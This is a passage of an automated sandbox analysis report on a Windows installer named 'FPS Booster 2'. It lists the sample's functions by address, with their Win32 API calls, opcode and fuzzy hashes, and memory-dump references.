Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 004030A9 Relevance: 3.0, APIs: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000000B,?), ref: 004030B7
InvalidateRect.USER32(?), ref: 004030C7

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: InvalidateMessageRectSend
String ID:
API String ID: 909852535-0
Opcode ID: 337b4f3098a58c01f74da730f62913a30fccabcaf2905223f53fb7e0a8071384
Instruction ID: 9932014c1c3a6caf672a85f81a9f93a0f21211325c1985b9384409f2a2a137ba
Opcode Fuzzy Hash: 337b4f3098a58c01f74da730f62913a30fccabcaf2905223f53fb7e0a8071384
Instruction Fuzzy Hash: E7E046B2A00004FFEB00DF98EC809AE7BB9EB80306B1085B6E212F1060C3354E00DB28

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 6FFB1E34 Relevance: 2.5, APIs: 2, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,6FFB1053,?,6FFB1053,?), ref: 6FFB1E62
GlobalFree.KERNELBASE ref: 6FFB1E72

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID:
API String ID: 1459762280-0
Opcode ID: 5959595e0d0d3765c1ca15f8a24f97434127daad6d5a0f437a5ea01b6209eee7
Instruction ID: 6ef5f49a5dec94933565c4419472a307f7ff1e4d8d148ac077bcd7b615e3d863
Opcode Fuzzy Hash: 5959595e0d0d3765c1ca15f8a24f97434127daad6d5a0f437a5ea01b6209eee7
Instruction Fuzzy Hash: 2DF0F832265610DFDB11DF25CA84B9677E8BF0A751F01482AE495C7260D730F814CF60

Function 6FFB1E83 Relevance: 2.5, APIs: 2, Instructions: 21memorystringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1E99
lstrcpynW.KERNEL32(00000004,00000104,?,6FFB1061,error,?,00000104,?,00000400), ref: 6FFB1EAF

Memory Dump Source

Source File: 00000007.00000002.2602569246.000000006FFB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000007.00000002.2602537115.000000006FFB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602601497.000000006FFB3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2602632211.000000006FFB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ffb0000_FPS Booster 2.jbxd

Similarity

API ID: AllocGloballstrcpyn
String ID:
API String ID: 3204721840-0
Opcode ID: d495d905f6b621a16b9db777aa06a006ef8efb7afb9a25ef1e262331709ffe92
Instruction ID: 67e44cd35acb6d3d5ad84a66b4c6237ebb963db138e345f6b74e9c7e611e499f
Opcode Fuzzy Hash: d495d905f6b621a16b9db777aa06a006ef8efb7afb9a25ef1e262331709ffe92
Instruction Fuzzy Hash: 73F0AE7A514A10AFCB10AF54CA84F917BE8FB0E3A6B014415FA49873A0D230A864CF50

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 6E9E2728 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6E9E4020,00000004,00000040,6E9E4028), ref: 6E9E2746

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1948995302cad62d405a4693e9fb8bca954830d691b8d6c1f862f771b31c334f
Instruction ID: c21fcbdea15def82bb79ce4db6a05078bc0c60e089be4ed425c44e81dcca8724
Opcode Fuzzy Hash: 1948995302cad62d405a4693e9fb8bca954830d691b8d6c1f862f771b31c334f
Instruction Fuzzy Hash: D0E0AEF1919B40DECB91CFB89444B213AE0AF5F317B01453AA348D6382E2308A069F19

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403D6B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426D70,76F923A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(?,?,00000000), ref: 00403D85

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: ItemTextVersion
String ID:
API String ID: 1287519508-0
Opcode ID: ecc267a58f007a645cce87880ef4dcbc169c5a84c400769f7d645cc81fbf47b3
Instruction ID: 3d91de8bf8cbd2b1f3a3cf9e9dcc3d672f8c1b7d0241b958bd96d56531da4427
Opcode Fuzzy Hash: ecc267a58f007a645cce87880ef4dcbc169c5a84c400769f7d645cc81fbf47b3
Instruction Fuzzy Hash: 7EC04C76148300BFE641A759CC46F1FB799EFA4719F00C52EB19CE11D5CA398420DA26

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 6E9E1581 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6E9E15BA,?,?,6E9E185F,?,6E9E1017), ref: 6E9E158B

Memory Dump Source

Source File: 00000007.00000002.2602445757.000000006E9E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6E9E0000, based on PE: true

Associated: 00000007.00000002.2602410980.000000006E9E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602469964.000000006E9E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2602504176.000000006E9E5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6e9e0000_FPS Booster 2.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 7e2b3d4700722790af89b3a8938b365cbfcfcf0c0bbcd54c2ff01de6e91b439b
Instruction ID: 29757e3f2a97f70e03f7b4572dd48eea126e25d332dc10dfecaa678977f58efb
Opcode Fuzzy Hash: 7e2b3d4700722790af89b3a8938b365cbfcfcf0c0bbcd54c2ff01de6e91b439b
Instruction Fuzzy Hash: 6CB012F1604400AFEF00C724CC0EF343BA4EF01306F000090B704D1041C1204C008D14

Non-executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426D70,76F923A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(File: skipped: "C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll" (overwriteflag=1),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNEL32(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNEL32(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 38b4acc354727a4c0417075670f91dc05251f42a4507735c69c00d05c80ce0cf
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 38b4acc354727a4c0417075670f91dc05251f42a4507735c69c00d05c80ce0cf
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

@, xrefs: 00404BBC
M, xrefs: 00404B6F
, xrefs: 00404F65
N, xrefs: 00404C32

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

